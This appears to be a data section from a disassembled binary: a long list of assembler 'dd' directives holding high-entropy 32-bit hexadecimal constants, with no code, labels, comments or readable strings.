		dd 80C2E20Dh, 0FB15B6F9h, 3A577540h, 3F9FCB25h,	21DF9813h
		dd 0E7586769h, 829680D4h, 8D79CFh, 0F83D2BEh, 0A42B24A1h
		dd 7D43088h, 3CE44FC3h,	0DA20FE9Fh, 953647A7h, 87984A01h
		dd 299BECFAh, 0A578CE4h, 0DA615B3Ah, 9F1B0290h,	18C08637h
		dd 0CD00897Dh, 5FCE4665h, 3D3A1CBh, 0A7085733h,	4590527Eh
		dd 0C300255Bh, 0BD95EFE3h, 0E2C2CE7Ah, 43F50009h, 31A46883h
		dd 9E3B27E9h, 0CB840F72h, 0A03E71Dh, 2F164240h,	8FEA00E3h
		dd 0F7C4BF38h, 7739AFC7h, 51F2986Ch, 0D55740h, 0C63F05E8h
		dd 0A91DDB20h, 6FBDAC00h, 21E735C5h, 91600084h,	0DDD7B330h
		dd 0B5E8B743h, 0C8003298h, 11BF9BA8h, 0A0AC13h,	0E631BEF2h
		dd 0FA2CE18Eh, 855B4103h, 0C3B504E7h, 95411EA2h, 800E1ED5h
		dd 0EC732B2Dh, 0D3305BACh, 414981C0h, 0A53E3BBDh, 97B2508Eh
		dd 0B7ADE761h, 0FE3500F1h, 1A2A0E8Dh, 0AF200189h, 0A0BA8D1h
		dd 9E130600h, 7D6A50B4h, 0C450028h, 8504A9A1h, 0D9004A34h
		dd 6C35EB6Dh, 4E356AEh,	0B50F67F0h, 44BD00ADh, 0E419D7h
		dd 0BE51E68Eh, 165498B1h, 1AB2C100h, 0B04C6D81h, 90CEF213h
		dd 2845B0F9h, 10A08357h, 53986D0h, 514D7909h, 0CE6FE000h
		dd 6D343Bh, 0FFB5BA40h,	0CA52D45Eh, 0B3E46900h,	4F8CD1D5h
		dd 2A0A1C6h, 4A028F12h,	18B21140h, 9B539CEh, 76087523h
		dd 0A41E0323h, 30B006BDh, 0D500A15Fh, 0E4CBA339h, 2831DD50h
		dd 3E806B8Dh, 8C9C0883h, 0F31B0106h, 0E676A1E8h, 8000D742h
		dd 0C6A5837Eh, 0EFD048h, 144294A8h, 90C85C3h, 6CEB79B2h
		dd 1832005h, 287076ADh,	0B180408Ah, 7400CEE1h, 80853D9Fh
		dd 3C342EACh, 3E00D7B8h, 1AAFF0F4h, 730E6F20h, 60EF2F33h
		dd 82233C37h, 1EC97FA0h, 2D0F89h, 53703916h, 7201E38Dh
		dd 0C743E494h, 0C0850A45h, 8309C468h, 48B8D32Ch, 590AEE87h
		dd 0C0E2B2FCh, 4693C180h, 3D5A8624h, 0CE809EE1h, 7D7E0B3h
		dd 2601E5D9h, 35399BA2h, 9270C04Fh, 33F8A6h, 0A4B242F7h
		dd 517B6AE0h, 4D6D8B03h, 0EBD8EAE9h, 0CA63B868h, 3ACE18E5h
		dd 905A40C9h, 4C3EE0Fh,	0D22100E7h, 88A766h, 2C998541h
		dd 0DDDC282Eh, 80DA7700h, 4CB6720h, 6D2F00F5h, 4B37E7E8h
		dd 98B088C0h, 2A775213h, 7AC43820h, 7C78006Ch, 222539B6h
		dd 2400B937h, 7D518580h, 7DD2D8E7h, 0D74B3099h,	0D2A9640h
		dd 74F19520h, 1CB22616h, 0CE25BEF0h, 0E15D6020h, 0EDF8436Fh
		dd 3605496h, 21CE791Ah,	0BB91BD01h, 1B6A5503h, 0F8B5C04h
		dd 0DFBE90D8h, 34D68904h, 0BF000292h, 2C36D749h, 0C11C9DE6h
		dd 5D403C60h, 12B20708h, 9B020930h, 78CCDDD4h, 0B1CB9441h
		dd 7428EA9Ah, 8858D702h, 0A0605976h, 4F1465BFh,	9C71C78h
		dd 0CC947AFAh, 6EB014BCh
		dd 92F020EBh, 4E867BEFh, 234040ADh, 86F21974h, 355BE400h
		dd 6658715Dh, 37CE004Bh, 0CCC8402Bh, 155CBB45h,	0BCEC5CA4h
		dd 4843C0h, 0F207517h, 148BECF3h, 0A06D6293h, 0A805701Dh
		dd 953522A4h, 57FBBB00h, 0A3E32D0h, 65850008h, 836342AAh
		dd 91061378h, 3334F070h, 0EC8F231h, 315C2952h, 0AE14D0B4h
		dd 3C1FF88Fh, 119C47DFh, 7BF2F0D6h, 0EC00BC0Dh,	0D2DCBA89h
		dd 9D017694h, 0EB0683F0h, 0D6AD6D79h, 0A1CF00B9h, 0C8BE2FFh
		dd 5C0B9CA4h, 805B243Ch, 51B7837Eh, 45F70979h, 8068EE6Ah
		dd 0D900B4F2h, 0FE40C00Ah, 7DC8AC2Eh, 612B2C1Eh, 16B641B4h
		dd 552E6056h, 0DA628D13h, 359F3700h, 1290F0BDh,	4033EE12h
		dd 251FE14Ch, 0C2F660A7h, 765C8C72h, 0A07700DFh, 0AE68FC7Ah
		dd 50E4A82Dh, 0B431000Ah, 0A834C1A6h, 40098B7h,	0F193F503h
		dd 26CC1FC8h, 0C1B6C2h,	0A5859669h, 3E06E988h, 0C146E766h
		dd 0CEF63AA0h, 8CD115B5h, 53004C00h, 0ECFE0CD2h, 0EEE6FA22h
		dd 0C9D4007Fh, 8869A2E1h, 0A24F7D3h, 0A30671DFh, 79978AEh
		dd 9B0C0C8h, 40D1906Fh,	3306E65Fh, 0DD7434D5h, 60453F80h
		dd 90A89607h, 918CD02Bh, 0DE014095h, 0E4850E06h, 1F705787h
		dd 0A59A0711h, 173261D1h, 10993674h, 2106048Fh,	7110ABAFh
		dd 581B0136h, 0FFBDE911h, 0B3F2F830h, 99FC5300h, 0CD2D176Bh
		dd 0B1CB00CFh, 83BC4544h, 0B30063B8h, 34C33E84h, 0F3279FBh
		dd 0AB2DB0A3h, 0F91E263h, 57BBA5C8h, 1342600h, 5509D003h
		dd 443C3F05h, 0D100A948h, 0FBE305Bh, 9E0094DEh,	182F138Ah
		dd 0EB88F6h, 63789C80h,	0ABD2767h, 386A5C03h, 0F02CE79Fh
		dd 669325h, 0C6F7E9Eh, 4D407FACh, 890FC600h, 0FFFE2D94h
		dd 2BDA0026h, 594998EEh, 0A12B121h, 49007DA5h, 8F7E0142h
		dd 0DA39000Dh, 5EC9E3FDh, 6D1CE907h, 6EC004B3h,	0B941FB4Dh
		dd 0BA2007D0h, 80CDD8B2h, 2CE9E134h, 21A00503h,	0D86BF367h
		dd 49CB65h, 0B4758B9Ah,	4BD32006h, 319B6D00h, 0ACADF80Dh
		dd 0A82660F9h, 25EB5E2Fh, 0CCAF7C00h, 27DD95A2h, 790E07Ah
		dd 2E1EE9FFh, 0BF5A089h, 510E03A1h, 400C56A4h, 1143166Ch
		dd 0E7900066h, 6DF2892Dh, 5401B73Fh, 9F6F9CE5h,	21806801h
		dd 0CF7720F3h, 693AD337h, 65780024h, 1C7F957h, 36DA001Ah
		dd 0FA76C6B6h, 49009E69h, 61ABDBEAh, 14C1E10h, 0C8A6AE34h
		dd 245A9CB1h, 130EC71Ch, 205931B3h, 0F65B6728h,	0AD7D30E7h
		dd 5F3BAEA8h, 0FBB3D70Fh, 79C4066Dh, 21B0018h, 898CFE06h
		dd 6C007FB7h, 0BEAEB9E5h, 79A81BFh, 4B4D7E55h, 0D06310A7h
		dd 0F306C092h, 6505A9CAh, 6A0124A8h, 0EB9B8060h, 0D2F51B19h
		dd 0E7004477h, 78DE3772h, 516688h, 0B48ED4Ch, 869D8C0h
		dd 8FCB4600h, 79D49DAEh, 73557B89h, 60DDF894h, 346F2A4Fh
		dd 6C01A6E7h, 3BFEE432h, 8D209F05h, 0CE460030h,	1DCB99E8h
		dd 0D600DC10h, 0CAC8528Eh, 3A824EC5h, 0FA8063E0h, 0A36CD7BFh
		dd 0AF009610h, 9C11A958h, 0E84E28h, 1C520280h, 1383B8B0h
		dd 0D52FCD03h, 88375446h, 0F955FA6Ah, 7E65AD0h,	0AD8F239Ch
		dd 0C2DBE081h, 7C017061h, 86FB27F4h, 0F824EBA9h, 81BA1E08h
		dd 87B640D5h, 668B9914h, 0A498DE00h, 6E268482h,	0AF5D00A7h
		dd 585E9072h, 22000C1Ch, 0ED54287Eh, 2CE206F5h,	942210Dh
		dd 38202E52h, 4D83941Dh, 0F17DA300h, 50FFE6AFh,	8290B1h
		dd 90F7F067h, 4BF39D98h, 0D39EB503h, 906B2136h,	4DE1558h
		dd 3B6C0C74h, 7280EA02h, 7FB6FB4h, 9601FE39h, 17F53706h
		dd 6B609FF1h, 31C59CA3h, 8BB0A00h, 86AB4DFCh, 0CC4B1FDDh
		dd 4AB980B3h, 0B8925702h, 44AD7601h, 6435560Eh,	0FF85FCh
		dd 2F9C62CDh, 0B9F9F7B7h, 0A730D41Fh, 1A6180BCh, 4582218Eh
		dd 322A0058h, 904EE740h, 0AD00F7C3h, 2D5A67B5h,	18136F11h
		dd 0A07EBA9Ch, 4300E078h, 0BD715D3h, 7D6A307Bh,	0FA3C00E7h
		dd 0DCF5B6A8h, 957D0CCBh, 0E3EE8400h, 92ACDA5Bh, 3041E813h
		dd 0E7606D9Eh, 1501E5DEh, 0A931A667h, 18816ECFh, 0C7FE796Ch
		dd 4590803Dh, 11689E83h, 0A1D50042h, 9C093216h,	0F0002E4Dh
		dd 4AB84E62h, 0E99F82Bh, 0BCB7B277h, 4BB6FCC0h,	0C90721D2h
		dd 3771E273h, 8C690670h, 0FC613E1Dh, 43AC3A1Eh,	19E648F8h
		dd 0BB1E1100h, 0B0E3C44h, 0C704008Dh, 4F20DC60h, 9800DF9Bh
		dd 0D1892F4Bh, 0F65DD3C8h, 0BDFB00C4h, 0A6182230h, 0AF008A6Eh
		dd 32863396h, 1CD60945h, 57B1DEh, 93DBBD10h, 4D0068EEh
		dd 0AEF02B05h, 0F6756Fh, 6FEFF1Eh, 98CE4489h, 0E4AA8300h
		dd 3CEE46F0h, 0C7010E78h, 45C0E388h, 1FBAE9D8h,	0CFB8A000h
		dd 8C32DF4Bh, 9D7E38B7h, 0C8C64F19h, 1E5B7070h,	4B789500h
		dd 985F67AAh, 2C963AB4h, 7F620480h, 81F724F6h, 932D1A00h
		dd 0FCE390EFh, 4F1600C0h, 6B440E7Dh, 0B124A88h,	1800E818h
		dd 47263ACAh, 872B3AC5h, 0F87A3100h, 0CC85D432h, 0FB6BBB16h
		dd 0C44AF400h, 0E341DCEh, 8696B8F3h, 0AA02F660h, 1E034072h
		dd 75838D2Dh, 0FCB9C8C3h, 0F51F0092h, 0DE7EEBD9h, 983BFDAFh
		dd 3602752Ch, 2585304Ah, 60B56212h, 18C9400h, 7117765h
		dd 80519775h, 7D9B7428h, 0C07A1DE8h, 0E611AA10h, 0DE3B5FCBh
		dd 284AB038h, 9EA3B6h, 0B3EBF1FBh, 0D849BEE3h, 656E29F0h
		dd 89C77F98h, 48B05669h, 7F434459h, 0CAFD00F5h,	9BCBB735h
		dd 0CC00810Fh, 0BDAF11Ch, 36ED92Fh, 444F69F9h, 203C7455h
		dd 83AA0EE2h, 0E5A6E1A3h, 0D1D8B97Ah, 3DD60099h, 925B026Ah
		dd 7900DE12h, 7E5FFB20h, 3E4B86A8h, 0FA8E9B81h,	8E40A0D3h
		dd 0E25E77C1h, 0C67DEF0Ch, 3B0618F8h, 0BB802D44h, 5BA89A09h
		dd 0C9049EBDh, 0D610F76Fh, 55199180h, 988600E9h, 6BED1ADEh
		dd 0AB03AE9Dh, 81A5B23Dh, 0DA42F0CFh, 0F32C0047h, 0C2DD3CD9h
		dd 0B20003DCh, 7513F74Ah, 98DB67EBh, 7E280043h,	36F99435h
		dd 8500292Ah, 2F9D0B27h, 0D5D173h, 0E9BD4DEAh, 33581056h
		dd 4B499300h, 2F5D22B4h, 8CCD03CBh, 0D976EE73h,	2D3582B0h
		dd 1CDDDE00h, 0A6162D4h, 5A4E00B8h, 12ED2087h, 5F00DF2Ch
		dd 6DF87B43h, 475D1C5h,	6C9F8A52h, 28488066h, 0C7003856h
		dd 804D4599h, 0FDE215Eh, 0B777520Bh, 0A0E02247h, 96CD899Bh
		dd 0F2BEEE00h, 3B409020h, 708C24CBh, 0CC718F44h, 0D966A7C0h
		dd 9383108h, 70D80041h,	0EACF5F83h, 807602FEh, 0D091EEF4h
		dd 2CC56DE0h, 0B6C31800h, 8A591E46h, 0A70E00B1h, 97EFA87Bh
		dd 1D00FAA3h, 2EB6D3ADh, 0BF84A9h, 0F7C2150h, 8DE50885h
		dd 4B1E6706h, 896BCEh, 35980EB8h, 90C11A69h, 2E9D431Fh
		dd 595DD800h, 3009A63Dh, 2D38A987h, 0F288689Ch,	21450005h
		dd 24594DA6h, 3A002F0Ah, 5FC553B7h, 8B44B5h, 0BA72FEECh
		dd 76BEA645h, 0A428C900h, 0E966994h, 0AA0500FCh, 0E97B1262h
		dd 7F00C135h, 0CD096090h, 1880A00Fh, 70417985h,	1A01C930h
		dd 3ACBB464h, 72C4D9CDh, 44FD1E49h, 5B8D8106h, 6027CE1Ah
		dd 0E8C0F9EFh, 1349961Fh, 0B3B930BCh, 9D0510C1h, 704404Ch
		dd 0DEB56291h, 0EA39814Bh, 13C0C06Ah, 0B39F001Eh, 88F9D16Eh
		dd 1801A49Dh, 1295B51Ah, 63EC4986h, 90060125h, 989362F4h
		dd 66AFF8C6h, 0BE093403h, 0F0685215h, 2901CFEh,	5FF535C5h
		dd 0CDC01485h, 0A0A371FFh, 0E1049047h, 1180CCF2h, 2EC3B230h
		dd 7E826B7h, 8958C726h,	28023201h, 0B9F0D134h, 67A40016h
		dd 4FCFBACh, 9D7C736Dh
		dd 0EACA1F0Eh, 289CB514h, 0FA39A41Eh, 0BB506213h, 6AA810EEh
		dd 29C19171h, 69EB03F8h, 88A69840h, 611A0106h, 0CB839608h
		dd 0B78EF485h, 7EFAA906h, 78B96F05h, 7660A036h,	0A4BA8064h
		dd 193AE430h, 3DA2CA7h,	55A8BB38h, 0B4E25708h, 74137090h
		dd 3A968480h, 73037A67h, 83F46515h, 0FEE822h, 644AE732h
		dd 55BB6888h, 0BA6AB408h, 0CD948150h, 4CF908F8h, 0EB00644Ch
		dd 0B39144C0h, 40666F60h, 0EC1C2DB5h, 9469E4AEh, 88DCBD03h
		dd 0D2A90F14h, 38B8A633h, 2E60C8F8h, 0CC5D5428h, 0FC695249h
		dd 0EE040BE9h, 26C1F20Ch, 0A3149510h, 2D46A3Ah,	9AC2B796h
		dd 14628Dh, 1B3CF2E4h, 902D1E1Fh, 286B19BAh, 44CC087Ah
		dd 1A448056h, 510664C3h, 0B596214Eh, 1481D412h,	29F42EEh
		dd 7CD01052h, 1803F7h, 0C00CB479h, 0B6A0E172h, 3A0784F4h
		dd 62587B17h, 0DC90A01Eh, 0D0F606h, 18B4EBFBh, 3B9D6FB0h
		dd 0C9CDEA00h, 0FA849A72h, 28E21C8Ah, 0DDB24560h, 6F03805Eh
		dd 0D09FAE3Dh, 1F9800AAh, 0A543E124h, 48002ED2h, 3595EEE5h
		dd 0EE4D54ECh, 0CC290146h, 1DBB37C0h, 39B7E0E3h, 0C73DFF00h
		dd 0C510F53Fh, 0DC7800BFh, 132941ACh, 3E2CDDCAh, 5D005750h
		dd 0B5C008F6h, 800301BBh, 76E0BC41h, 8BE2E044h,	11A17A00h
		dd 0A3A5206Fh, 375200D4h, 9AC54D7Ch, 61002B34h,	9544173Bh
		dd 1AC2578h, 0E03D54Fh,	0D4CA2E74h, 49009EF6h, 80699F4Eh
		dd 734B94Ch, 0DAF5D13Fh, 4681310Eh, 5FEAC0A2h, 3B03A807h
		dd 4E71544Ch, 0C0E8883Dh, 0D62E3F64h, 7A92D80h,	0ADBF76DAh
		dd 57E53200h, 70A2B24Ch, 95A400D2h, 0AE0E9D44h,	0E60ED8C9h
		dd 20532ACFh, 0D36EF0F1h, 370D03B1h, 0F26A1D21h, 8505E8D8h
		dd 0E01C8775h, 100028C2h, 4B8BEC79h, 0BDF300DDh, 673ED8A2h
		dd 830A981h, 9AF928FBh,	940400EAh, 90B01635h, 9B009320h
		dd 80583761h, 0B1688Ah,	884898EBh, 5501A47Eh, 21ABFA0Eh
		dd 0EEF1001Eh, 2C43D4h,	0E76A36FBh, 134E2BAFh, 2E51B900h
		dd 844F2A32h, 0A67D00CCh, 94CB85B5h, 0B27B67CAh, 0D44E5700h
		dd 39459655h, 74F60F21h, 0FC600B71h, 12758D5Eh,	53B53D50h
		dd 0DC16AA7Bh, 6E1FB4E0h, 1AC0DADFh, 0E8EC1489h, 0AB860051h
		dd 98CA0F15h, 0D0002B3Fh, 749C5C56h, 797AC4h, 7489B95h
		dd 1175030Bh, 9F13800h,	5B9A2DCAh, 8332003Ch, 6E43B0DDh
		dd 0D7005D3Bh, 0F54F45C9h, 12780C20h, 8F5282h, 8C5F2534h
		dd 4A396D12h, 0FB33808Ah, 77DC2DC3h, 48370F68h,	0A200C5BDh
		dd 320D3E6Fh, 4952CC01h, 6EFB67F4h, 0D38EECh, 79AAAE4Dh
		dd 1FAB1712h, 3197A38h,	528F98F7h, 60A0CF11h, 56C66h, 0DACD8CCh
		dd 0E36B2729h, 3D098500h, 447C53B6h, 3C3B07D0h,	6046360Fh
		dd 0BBB93AD8h, 830096B0h, 0C4BA99B7h, 85C76Fh, 0F98D7292h
		dd 0E3EE8793h, 0BE00A9F6h, 0DFDA8B91h, 0F2E284EBh, 0E4CA00F3h
		dd 83667837h, 5B3C2B57h, 50A49ED8h, 6C914840h, 6B3DDEh
		dd 0A396BD31h, 80478DD5h, 0C8FCFB79h, 6973A400h, 0DFD73764h
		dd 32150051h, 807BF054h, 0E9000A9Eh, 0C69DD066h, 2A25C5h
		dd 785CE340h, 86FD71BCh, 1C6E2717h, 648FE0h, 34A866A5h
		dd 0CD686553h, 91BC0C00h, 0AFE67DC6h, 8ECE00CAh, 466EB78Dh
		dd 9000098Ah, 0DD48D444h, 0C5E535h, 0E823FA4Fh,	8B01F198h
		dd 0C2681700h, 89DAE64Ch, 0A63F007Ch, 4921F92Eh, 6A1356E3h
		dd 840060FAh, 55F339CEh, 112700FFh, 0AD5D44CDh,	70E19ABh
		dd 0C06AE6A2h, 0B837F0C1h, 0FA67042Bh, 837954F6h, 0CBD05B6Fh
		dd 0CD002ED7h, 8D88B9ACh, 780787Ch, 2C735857h, 76D0C029h
		dd 0FF00A191h, 14230818h, 6D7695Ch, 8B6D0D82h, 86032967h
		dd 731D9E58h, 8E9DF1EDh, 0B9B2D0h, 79D4D6DFh, 0FB42318Fh
		dd 9EAD39h, 4ECD6318h, 3376CA8h, 85E91A13h, 0C7C0C5F7h
		dd 8D1EB38Fh, 0FADE180Eh, 5A28F380h, 0CFC84Ch, 622B9702h
		dd 0A0A64DB3h, 36002570h, 9D0DD5Fh, 0F3DD559h, 0B9D31371h
		dd 8E024320h, 0A84E5EF8h, 301417E0h, 0DD02C9ACh, 9100F9A9h
		dd 80866A17h, 978A7Dh, 3FBC69D1h, 42B69057h, 1FCA773Ah
		dd 139EE6D3h, 7105DB80h, 1FC88h, 66AC2B0Fh, 0EB17D17Dh
		dd 315A1B00h, 72FEBE55h, 0DE2200D3h, 84C2038Ah,	5B0065F0h
		dd 0F5C69323h, 4EBA50h,	0FE8F9B98h, 0DC6380D3h,	0AD0064FAh
		dd 81C2A20h, 0FEF3534Ch, 0C335006Fh, 0B58E5488h, 0D4EC47AFh
		dd 44A0F903h, 89FC77CCh, 0C2FC0E1Dh, 0AC540013h, 0CB36334Bh
		dd 7900F86Eh, 7E608B98h, 0FD23FCh, 0D2B6AC6Bh, 0E4D747ABh
		dd 0B02BA202h, 0C036EC9Fh, 1B9C0C7h, 6552F1C6h,	81590AD8h
		dd 0ED815FF9h, 94408720h, 38E222AAh, 47804D2Eh,	0D1B5D6A6h
		dd 0F6017A3Bh, 0E5AC927h, 0A4C0427Fh, 9FDC1DE1h, 0CD80C010h
		dd 1715CA38h, 0CC9A0618h, 423D78F8h, 140139E0h,	7887CD7h
		dd 49183E48h, 96954AC0h, 890C0042h, 0CF82FB0Fh,	0A7BBD38h
		dd 0C5A9D600h, 6A40CB30h, 0A080A3F0h, 0F29972h,	0DB0F4F7Ch
		dd 31D4E577h, 0ACF93C00h, 329B8E78h, 0F566C012h, 0F84FE79Ah
		dd 68B80803h, 0B0A35FBBh, 3F290A54h, 5B8047ADh,	0C0565D62h
		dd 900243Fh, 137C9EEEh,	60CEB770h, 0BE066A51h, 0E8702972h
		dd 0AA3401Eh, 0C38BF180h, 0E1820AAh, 9C21A558h,	76CDB460h
		dd 740014C2h, 9EDA60F4h, 728E82Eh, 0D7829540h, 49BAA0C7h
		dd 73EC4307h, 0C1F85C07h, 70D0BDBEh, 4B9F59Dh, 0A787D267h
		dd 6CA580FAh, 0D0080DDh, 0DA3AAC7Ch, 2FD3BF4h, 2596E9BFh
		dd 0E4A0C152h, 6638269Bh, 0DBC09D60h, 0F8A5DF67h, 104400E1h
		dd 4BAE7A91h, 0BA1DC0B4h, 3E40224Ah, 60B0CA9h, 269026F1h
		dd 86313CF6h, 80C3B77Eh, 1773D730h, 112C23h, 3673853h
		dd 0ACB376BAh, 0C2F3301h, 152B0773h, 0B8F871C1h, 0C1D3011Dh
		dd 4E53E55Dh, 7FAFCCE7h, 21F09B00h, 0A5DCC614h,	2577006Bh
		dd 0DE56BF42h, 1900F611h, 0C0918F54h, 0FA2BEDh,	4B13ABAFh
		dd 526853Ah, 835FF512h,	10845401h, 570753Dh, 0B696010Fh
		dd 0F008C34Dh, 0F0C4F999h, 0CD01907Ch, 8FF5D07Dh, 4E4CB9Bh
		dd 0B4B047h, 2098E28Ah,	0BADF0D2Dh, 0D1B65Ch, 87115A77h
		dd 1CECCBDAh, 0CF6FA89Dh, 0BE601EFFh, 8D96C660h, 3A5FC801h
		dd 51A5B535h, 6F302021h, 6BDF3D7Dh, 3D9ACE00h, 0FF3B128Bh
		dd 0F4E02128h, 0AFFE6000h, 0F96F2325h, 8889285Ah, 0BCA904ACh
		dd 802BD924h, 13C1FD8h,	99A63Bh, 5B74B958h, 72FB3117h
		dd 3F270003h, 5FA360FEh, 7C009B89h, 0EA98AB61h,	39BAA6F9h
		dd 6500B650h, 8DF14AB7h, 7B04C3FCh, 117D6029h, 0A98A81C0h
		dd 24E6002Fh, 0C8494F4Bh, 3700EBF0h, 0C1577840h, 90ED8892h
		dd 2FC600B0h, 65D7B306h, 12E47F0Dh, 0B6A19309h,	52B200BDh
		dd 9B41D35h, 3E640B17h,	37C7B880h, 698D1C4h, 0A406C105h
		dd 0C0EBA12Eh, 182D557Dh, 89002973h, 5DBE08CFh,	15B720h
		dd 4694F11Ch, 402927B5h, 0AC7E3D00h, 4395C2FFh,	5DE400F6h
		dd 0B380A1B0h, 0BF7935CEh, 0EC32B100h, 722DD616h, 2A3C00ACh
		dd 4496E5AFh, 62001394h, 0C1147AB7h, 359A5F8h, 0B529F317h
		dd 52B80F5Fh, 0BD1E27F5h, 37C6C333h, 3D10F25Ch,	3E83DC3Ch
		dd 14C82E7Bh, 0EAD1D2B8h, 737C5B0Ch, 0EAA98045h, 0C1F70157h
		dd 24DD7FDFh, 5A60D6BDh, 9112DE33h, 0B700A221h,	7B552017h
		dd 6C02000Ch, 0DBBBC249h, 5C60E9F0h, 6415FCA8h,	0DD2300D3h
		dd 5EE6D8E8h
		dd 0D400CE5Bh, 6C3227A2h, 1B6266Ah, 1C6144FFh, 42CF2BA8h
		dd 4300C480h, 3F66011h,	0D67E7A16h, 7698A0AAh, 0D158539Ah
		dd 15B103BAh, 90A738E2h, 30F2CEh, 806263B5h, 9F40D676h
		dd 49C1C500h, 0AC368B31h, 14558A2h, 0FC4F9A00h,	7700F84h
		dd 0C32DCE00h, 0A187BBAFh, 0A48B0064h, 8C50AD19h, 233C9DF2h
		dd 41900025h, 7FFF916h,	8FEA00C2h, 0B07A3F2Dh, 0BCFE9227h
		dd 7CBE1303h, 0E0E901D5h, 2B261Ch, 8E8607F4h, 0F140C12Dh
		dd 1EF25A00h, 8F7E906Ch, 0E0FFF9A8h, 7C38E66h, 316A0660h
		dd 800235D3h, 194112AEh, 1DCF6701h, 0F926038Fh,	649CE4h
		dd 0ECB9BA9Fh, 1C76AA12h, 650B1F13h, 6E40A203h,	0AD09E83Bh
		dd 0C7311AA6h, 0DB601A9Bh, 0B40142AFh, 535E3943h, 0F8F4A74Ah
		dd 5A0D00F2h, 2EFD76Bh,	950080E5h, 0B6A23F86h, 94F758h
		dd 54CD38B5h, 3CD2BF19h, 0CBE91307h, 0BF0B9D8h,	0BEEECEh
		dd 89637957h, 175593Dh,	4C0083FCh, 4640A933h, 1F1476E6h
		dd 934AB1AAh, 0ACB8AFh,	2CC96864h, 28D75D72h, 0BC9890h
		dd 4A1CA03Fh, 0EE38CB35h, 9643Bh, 39216A69h, 1E0B583h
		dd 0DD95900Bh, 0E8E5FDA2h, 8407761Bh, 0D54F22B3h, 46798099h
		dd 7252BB1h, 9338EF33h,	0F90AA3EDh, 74791BD0h, 0F5AD3Bh
		dd 81BF871Dh, 755B1Fh, 419F9361h, 0DBCFF3EEh, 0BAFE3Bh
		dd 584B6DC4h, 359C0Bh, 0C9B3BEE0h, 5D488ED6h, 7707717Bh
		dd 44BB7C6Fh, 0C0BA7214h, 0DFD1D9C6h, 3FB57800h, 6417F1DBh
		dd 0EE3C0058h, 0CDFDB363h, 70008D57h, 5BBDD5E7h, 606EF33Bh
		dd 0DBDA21F7h, 0C50027CEh, 0E6D0EC13h, 1291A501h, 1169E1Ch
		dd 0A7718E76h, 0DC4AC672h, 3B646540h, 0A05BC024h, 2DE8140h
		dd 8CF948C7h, 0C473CD00h, 52B5DDEFh, 0D490A7F2h, 377E8B0Ah
		dd 1500F28Fh, 5E125C3Fh, 0C0460008h, 5BC23CDCh,	0D7075105h
		dd 7B537E75h, 66632B70h, 304DFAEBh, 788043EEh, 8D0E5E6Ah
		dd 27FF10C2h, 0EFA0CFAFh, 0E26E2B9Ch, 610A00AAh, 0DEDBE420h
		dd 0E009A25Eh, 809D6C70h, 859649A4h, 1E9000E5h,	284EA65Dh
		dd 0FC008B10h, 12A116B3h, 0E0AF089Eh, 394D065Ch, 0C08FEC8Ah
		dd 622C3Dh, 0E8029A46h,	3C3E45h, 135A997Eh, 68878532h
		dd 0C13F8300h, 21922479h, 30B90057h, 22347062h,	67007606h
		dd 85E896EBh, 0D0FD13h,	407D9DE3h, 3D564236h, 0AF5FBD17h
		dd 0B22EB901h, 5430B19Fh, 18E00099h, 9EDC3191h,	6100D737h
		dd 0C6A8BA3Ch, 0C063A3h, 8007EE30h, 0EBE75B26h,	6DC7DE00h
		dd 0C65400Fh, 85C10021h, 0D0297E3Ah, 0D900B0A5h, 0B7BD2514h
		dd 56A4DC7h, 1E0CAEF2h,	71728050h, 0C313E21Fh, 0C6009A8Eh
		dd 0A9119896h, 6A3C393Ah, 0FC34F084h, 7E0CCA4h,	0BD232F01h
		dd 0EF5D2A87h, 0D7C07EC5h, 3AE8A401h, 6016770h,	54C8C649h
		dd 0CCC0D485h, 0AD383360h, 1DE2A21h, 0DD4A0940h, 213105A7h
		dd 0DCD4C038h, 8B2C9A7Fh, 0CD16703Eh, 53950000h, 5C4C60E5h
		dd 440EAFA0h, 9360AC51h, 0E424B2F3h, 47280A00h,	3FD1962Bh
		dd 4218C08Ah, 0AA59669Ah, 5CDD0301h, 89F87B82h,	387407E8h
		dd 0BD80E6DAh, 398AFC41h, 4906FD5h, 60961A01h, 0F7435EA4h
		dd 0A0DE55C0h, 0E3D4BAECh, 0BCCED4h, 8AF054B6h,	0B45E0E5Fh
		dd 6724500h, 0A8A39D34h, 1D9E0273h, 0F1F81AFDh,	81C8CB63h
		dd 6D00A64Ah, 8E23E576h, 37DAA93h, 9EC30FE8h, 0DED0AB2Ah
		dd 9024756Eh, 9D0204B4h, 60951404h, 2E1B9A0Eh, 100658Bh
		dd 674FCAACh, 0EBEAFCC4h, 0A7128709h, 0C3B480CBh, 640371h
		dd 0C525100Eh, 2D423EB1h, 0B4A9CC04h, 48017DDh,	8051C3BBh
		dd 0B91E2990h, 0C582D6E2h, 0C0417B3Fh, 1F93EDh,	7079BF61h
		dd 0C62272CCh, 27C86A50h, 2900C690h, 1BAEAD17h,	2EF436Bh
		dd 1F748991h, 0C3C1BF2Bh, 0AFC1EC09h, 95C94A0Eh, 1DB8006h
		dd 1686BA4h, 7DC8156h, 400C7A15h, 0DA205AD4h, 0D05FE300h
		dd 91177944h, 78C709F7h, 0E402A61Dh, 0FD60BADDh, 0E30075A9h
		dd 11165304h, 50E38A0h,	4E96BFF4h, 839580A2h, 9B00E1FCh
		dd 0C563E47Bh, 0F255528Fh, 0FDFA58h, 900F57DFh,	0D81A15D1h
		dd 0F99C783Fh, 21809500h, 0ACCF3A2Fh, 0B14338E9h, 0F1524080h
		dd 0C7F24996h, 2346AD00h, 0CFB36BEEh, 0C8774Ch,	8F8DF1C9h
		dd 0BC3A615Dh, 0FD1E3400h, 4655647Bh, 0C0220E8Eh, 92234F84h
		dd 70B02C72h, 0CD007473h, 1E36FF37h, 47E80h, 0B9BD6199h
		dd 603F81E8h, 97874117h, 0BE25DC40h, 542BCC3Ch,	17F98C1h
		dd 1636A962h, 60155DADh, 0C0004A85h, 0C2544233h, 3F793Dh
		dd 487568F7h, 35AB5126h, 505EDD12h, 808C3E00h, 1788A0Fh
		dd 0A0B3FA83h, 87EB7B86h, 0AF9CAA70h, 3C524683h, 0F87D9411h
		dd 623424A1h, 0B000BED4h, 59A7CFA9h, 5C3A57E1h,	105D0179h
		dd 51ED8FD0h, 0EBD0BF21h, 34F81276h, 67B40EDBh,	0F4A21C60h
		dd 0C07A293Fh, 0DD844200h, 2A225DB2h, 0D8D41F34h, 8028014Eh
		dd 0F9C277C9h, 60E0750Ch, 0EB065DB3h, 0C7265ECAh, 0F1A303A8h
		dd 5199B64Fh, 50654028h, 0C55CC852h, 280C01B2h,	2D9AA4Eh
